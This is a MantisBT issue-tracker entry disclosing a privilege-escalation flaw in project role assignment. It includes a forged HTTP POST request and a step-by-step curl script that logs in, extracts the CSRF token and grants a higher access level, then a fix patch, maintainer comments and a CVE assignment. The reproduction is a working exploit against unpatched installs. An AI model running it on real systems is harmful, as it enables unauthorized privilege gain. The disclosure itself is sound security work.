View Issue Details

IDProjectCategoryView StatusLast Update
0037002mantisbtsecuritypublic2026-05-10 07:56
Reporterninjasec Assigned Todregad  
PriorityhighSeverityminorReproducibilityalways
Status closedResolutionfixed 
Product Version2.28.1 
Summary0037002: Privilege Escalation Due to Improper Authorization in Project Role Assignment
Description

The normal project-user add form restricts the selectable access levels to the actor's own project role or below. However, the backend handler still accepts a forged higher access_level value and writes it.

As a result, a project manager can add another user to the project with a higher role than the manager is allowed to grant.

This is a server-side authorization flaw. The UI attempts to enforce the intended policy, but the backend does not apply the same restriction.

Affected Code

  • manage_proj_user_add.php
  • core/commands/ProjectUsersAddCommand.php
  • Reference behavior: manage_proj_user_update.php

Why?

manage_proj_user_add.php forwards the submitted access level directly into core/commands/ProjectUsersAddCommand.php.

ProjectUsersAddCommand::validate() verifies that the actor may manage project users for the project, but it does not enforce that the requested access level is less than or equal to the actor's own project access level.

The sibling bulk-update web handler manage_proj_user_update.php does implement this check:

if( $t_value > $t_current_user_access_level ) { continue; }

This confirms the intended policy and highlights the inconsistency in the add-user path.

Preconditions

  • A project where the actor has project management rights but is not top-level for the project.
  • Example validated state:
    • project 2
    • developer has access level 70
    • reporter is not yet a member of the project
Steps To Reproduce
  1. Authenticate as <del>developer</del> manager [EDIT (dregad)].
  2. Open the destination project edit page.
  3. Observe that the add-user form only offers access levels up to manager (70).
  4. Submit the same form with a forged access_level=90.
  5. Observe successful redirection.
  6. Verify that the target user was added with access level 90.

The normal form only offered access levels up to manager:

<select id="project-add-users-access-level" name="access_level" class="input-sm">
  <option value="10">viewer</option>
  <option value="40">updater</option>
  <option value="55">developer</option>
  <option value="70">manager</option>
</select>

A forged request was then submitted with access_level=90:

POST /manage_proj_user_add.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

manage_proj_user_add_token=20260401_mSZ7rECuRc9aPX7bCSlNiPMMWnqtzLd
&project_id=2
&user_id[]=2
&access_level=90

Observed response:

HTTP/1.1 302 Found
Location: http://127.0.0.1:8082/manage_proj_edit_page.php?project_id=2#project-users

Membership before the request:

2|1|70
2|3|70

Membership after the request:

2|1|70
2|2|90
2|3|70

or curl requests:

export BASE='http://127.0.0.1:8082'

PHPSESSID=$(curl -s -i -X POST "$BASE/login_password_page.php" \
  --data 'return=index.php&username=developer' | \
  rg '^Set-Cookie: PHPSESSID=' | sed -E 's/Set-Cookie: PHPSESSID=([^;]+).*/\1/')

echo "PHPSESSID=$PHPSESSID"

LOGIN_HEADERS=$(mktemp)
curl -s -D "$LOGIN_HEADERS" -o /tmp/issue45-login-body.html \
  -X POST "$BASE/login.php" \
  -H "Cookie: PHPSESSID=$PHPSESSID" \
  --data 'return=index.php&username=developer&password=developer123&secure_session=1' >/dev/null

MANTIS_SEC=$(rg '^Set-Cookie: MANTIS_secure_session=' "$LOGIN_HEADERS" | sed -E 's/Set-Cookie: MANTIS_secure_session=([^;]+).*/\1/')
MANTIS_STR=$(rg '^Set-Cookie: MANTIS_STRING_COOKIE=' "$LOGIN_HEADERS" | sed -E 's/Set-Cookie: MANTIS_STRING_COOKIE=([^;]+).*/\1/')

echo "MANTIS_secure_session=$MANTIS_SEC"
echo "MANTIS_STRING_COOKIE=$MANTIS_STR"

curl -s "$BASE/login_cookie_test.php?return=index.php" \
  -H "Cookie: PHPSESSID=$PHPSESSID; MANTIS_secure_session=$MANTIS_SEC; MANTIS_STRING_COOKIE=$MANTIS_STR" \
  >/dev/null

curl -s "$BASE/manage_proj_edit_page.php?project_id=2" \
  -H "Cookie: PHPSESSID=$PHPSESSID; MANTIS_secure_session=$MANTIS_SEC; MANTIS_STRING_COOKIE=$MANTIS_STR" \
  -o /tmp/issue45-proj2.html

rg 'project-add-users-access-level|manage_proj_user_add_token' /tmp/issue45-proj2.html

TOKEN=$(rg -o 'name="manage_proj_user_add_token" value="[^"]+' /tmp/issue45-proj2.html | sed 's/.*value="//')
echo "TOKEN=$TOKEN"

curl -i "$BASE/manage_proj_user_add.php" \
  -H "Cookie: PHPSESSID=$PHPSESSID; MANTIS_secure_session=$MANTIS_SEC; MANTIS_STRING_COOKIE=$MANTIS_STR" \
  --data "manage_proj_user_add_token=$TOKEN&project_id=2&user_id[]=2&access_level=90"

rg 'project-add-users-access-level|manage_proj_user_add_token' /tmp/issue45-proj2.html
Additional Information
  diff --git a/core/commands/ProjectUsersAddCommand.php b/core/commands/ProjectUsersAddCommand.php
  @@
        if( !$t_access_check ) {
            throw new ClientException( "Access Denied", ERROR_ACCESS_DENIED );
        }
  +
  +     $t_actor_project_access_level = access_get_project_level( $this->project_id, $t_actor_id );
  +     if( $this->access_level > $t_actor_project_access_level ) {
  +         throw new ClientException(
  +             'Access denied to assign users with higher access level',
  +             ERROR_ACCESS_DENIED
  +         );
  +     }
    }
TagsNo tags attached.

Relationships

duplicate of 0036995 closeddregad CVE-2026-34390: Privilege Escalation from Manager to Administrator role per project basis 

Activities

dregad

dregad

2026-04-19 11:35

developer   ~0071036

Confirmed. The user can even update their own access level.

By default, the minimum access level is manager, not developer (I updated the steps to reproduce accordingly). It's worth noting that an administrator access level on a project does not actually give administrator privileges on the whole MantisBT instance; it is effectively not very different from manager.

Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-7xhr-fg7m-j7c7 created and CVE request sent.

dregad

dregad

2026-04-19 12:16

developer   ~0071037

Proposed patch https://github.com/mantisbt/mantisbt-private/pull/3

dregad

dregad

2026-04-24 07:51

developer   ~0071044

CVE-2026-42029 assigned

dregad

dregad

2026-05-08 03:41

developer   ~0071077

Last edited: 2026-05-08 03:43

It turns out that this vulnerability had already been reported by @dracosectech in 0036995, so I'm closing this Issue as duplicate.

CVE-2026-42029 will be marked as invalid; @ninjasec you will be credited as co-finder on CVE-2026-34390.

Related Changesets

MantisBT: master-2.28 86accbca

2026-04-19 11:01

dregad


Details Diff
Cannot grant an access level higher than one's own

When adding a user to a project, the ProjectUsersAddCommand failed to
check that the target access level was lower or equal to the user's own,
allowing privilege escalation.

Fixes 0037002, GHSA-7xhr-fg7m-j7c7

Co-authored-by: Vishal Shukla <shukla304@gmail.com>
Affected Issues
0037002
mod - core/commands/ProjectUsersAddCommand.php Diff File

MantisBT: master-2.28 b1c3430b

2026-05-08 04:05

dregad


Details Diff
Revert "Cannot grant an access level higher than one's own"

This reverts commit 86accbca671a6a2bfe2204e58739b58d4f06b63d.

The vulnerability, identified in Issue 0037002, had in fact already been
reported (and fixed) in Issue 0036995, see commit
69e0180f180ed5acf48a8d281a73683a7bf32461.
Affected Issues
0036995, 0037002
mod - core/commands/ProjectUsersAddCommand.php Diff File